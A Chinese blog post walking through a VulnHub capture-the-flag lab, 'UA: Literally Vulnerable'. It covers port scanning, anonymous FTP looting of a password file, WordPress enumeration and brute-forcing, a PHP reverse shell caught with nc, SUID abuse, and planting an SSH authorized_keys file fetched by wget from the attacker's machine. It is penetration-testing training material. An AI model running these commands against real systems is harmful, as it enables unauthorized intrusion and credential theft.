wait's〔三生石畔〕 善良人在追求中纵然迷惘,却终将意识到有一条正途。—— 歌德
【渗透测试-靶场】No.29:UA: Literally Vulnerable(vulnhub)渗透测试
发表于: | 分类: 安全测试,资格认证 | 评论:8 | 阅读: 3098

一、前言

主要利用方式:

二、靶机信息

靶场: vulnhub.com
靶机名称: UA: Literally Vulnerable
难度: 简单
发布时间: 2019年 12月 6日
下载地址:https://www.vulnhub.com/entry/ua-literally-vulnerable,407/
备注:Flags: 3 (local.txt, user.txt & root.txt)

三、虚拟机配置
Vmware、网络连接模式:NAT模式、DHCP服务:启用、IP地址:自动分配
攻击IP:192.168.169.129
靶机IP:192.168.169.176

四、信息收集
1、探测靶机ip地址
└─$ sudo arp-scan -I eth0 -l

2、探测靶机ip端口及端口具体服务
└─$ sudo nmap -p- 192.168.169.176
└─$ sudo nmap -p21,22,80,65535 -sV -A 192.168.169.176

3、匿名访问21端口
通过匿名登录ftp,发现FTP目录下面存在一项“backupPassword”文件,似乎是密码的备份文件,get下载到本地,保存备用。
└─$ ftp 192.168.169.176
ftp> ls
-rw-r--r-- 1 ftp ftp 325 Dec 04 2019 backupPasswords
ftp> get backupPasswords

查看一下备份的密码文件内容

4、常规80端web端口访问及信息收集
浏览器访问80端口,发现HTTP页面未完全加载,且该站点向iteral.vurnerable的域名发出请求。
http://192.168.169.176/

修改hosts文件,绑定IP及host
└─$ sudo vi /etc/hosts

└─$ cat /etc/hosts
192.168.169.176 literally.vulnerable

再次刷新页面,页面正常展示加载
http://192.168.169.176/

5、80端口 web网站路径扫描探测
└─$ dirsearch -u 192.168.169.176

经过访问,只有一个链接可以跳转后台
http://literally.vulnerable/wp-login.php?action=register

6、存在wordpress站点,进行扫描,探测存在用户
└─$ wpscan --url http://literally.vulnerable/wordpress -e u

经过探测,发现存在admin用户

通过wpscan尝试进行爆破密码,但很久都未成功爆破
└─$ wpscan --url http://literally.vulnerable/wp-login.php --usernames admin --passwords /usr/share/wordlists/rockyou.txt

7、端口65535进行访问
http://192.168.169.176:65535/

进行路径扫描,使用dirsearch工具未发现敏感路径
└─$ dirsearch -u 192.168.169.176:65535 /usr/share/wordlists/dirb/big.txt

尝试使用dirb工具进行扫描,发现敏感路径
└─$ dirb http://192.168.169.176:65535 /usr/share/wordlists/dirb/big.txt

8、访问phpcms及wp-admin页面
http://192.168.169.176:65535/phpcms/

http://192.168.169.176:65535/phpcms/wp-admin/

9、存在wordpress站点,探测存在用户
使用工具wpscan对目标网站进行枚举,命令如下:
└─$ wpscan --url http://192.168.169.176:65535/phpcms/ -e u
└─$ wpscan --url http://192.168.169.176:65535/phpcms/ --enumerate

通过枚举,发现两个用户名:
[+] maybeadmin
[+] notadmin

10、使用已知的账号进行爆破
使用rockyou.txt密码本进行爆破,依然没有成功爆破
└─$ wpscan --url http://192.168.169.176:65535/phpcms --usernames maybeadmin --passwords /usr/share/wordlists/rockyou.txt

ftp下载过一个备份密码本,进行尝试
└─$ wpscan --url http://192.168.169.176:65535/phpcms --usernames maybeadmin --passwords backupPasswords

| Username: maybeadmin, Password: $EPid%J2L9LufO5

11、使用爆破出来的账号密码进行登录,成功进入后台
http://literally.vulnerable:65535/phpcms/wp-admin/

12、但maybeadmin 不是管理员账号,但通过信息收集,在Secure Post页面中发现notadmin的账号密码
以notadmin 进行登录,管理员角色(notadmin:Pa$$w0rd13!&)

切换notdmin用户登录

五、漏洞利用(突破边界)

13、wordpress 拿到管理员权限,上传文件,进行反弹shell

文件上传,构建反弹shell,一般有多种方法。
比如404页面,(appearance-themes-themeEditor-404页面)但很多是有版本限制
还有下载管理工具进行上传文件

本靶机中因为wordpress 版本限制问题,无法使用第一种方法,只能采取第二种方案

新增文件管理插件,再进行上传shell文件
Plugins - add new -WP File Manager -install now

安装好,进入WP File Manager 工具,进行上传shell

准备好反弹的shell,设置好监听的IP及端口号
└─$ cat prs.php

开启监听
└─$ nc -lnvp 9999

访问shell URL页面
http://literally.vulnerable:65535/phpcms/prs.php

反弹shell成功

14、使用python3 更改交互式tty
$ python3 -c "import pty;pty.spawn('/bin/bash')"

15、使用www-data的权限查看local.txt及user.txt 都没有权限

16、查询具有suid权限特殊程序
www-data@literallyvulnerable:/$ find / -perm -u=s -type f 2>/dev/null

17、回到特权程序路径,执行程序,但回显了当前目录路径

读取noteFromAdmin文件,他告诉我不要像他上次那样删除重要的文件
www-data@literallyvulnerable:/home/doe$ cat noteFromAdmin

这个二进制文件只是在回应名为PWD的环境变量的值。可试图操纵那个变量来让它执行/bin/bash
通过滥用PWD变量来利用itseasy 二进制文件

成功变成了john用户,但通过执行,发出所有的cat,ls等命令皆无法执行,既然我们现在已经可以访问john用户了,那么我想是否可以通过$HOME/.ssh/authorized_keys来设置无密码登录来对该用户进行SSH访问。

18、在Kali上生成一个ssh key并查看
└─$ ssh-keygen
─$ cat /home/kali/.ssh/id_rsa.pub

通过公钥转成keys文件
└─$ cd /home/kali/.ssh
└─$ ls
└─$ cat id_rsa.pub > authorized_keys

开启python的web服务

└─$ python -m http.server 80

19、靶机创建文件夹,并访问攻击机下载key文件
john@literallyvulnerable:/home/doe$ mkdir -p /home/john/.ssh
john@literallyvulnerable:/home/john$ cd /home/john/.ssh && wget http://192.168.169.129/authorized_keys

还有复制粘贴过来的方案

但我最终还是卡在了私钥登录的过程,靶机一直提示我输入密码,就很纳闷,

夜深了,就暂停吧~!下个靶机再见,这个留着后面慢慢想~!

TOP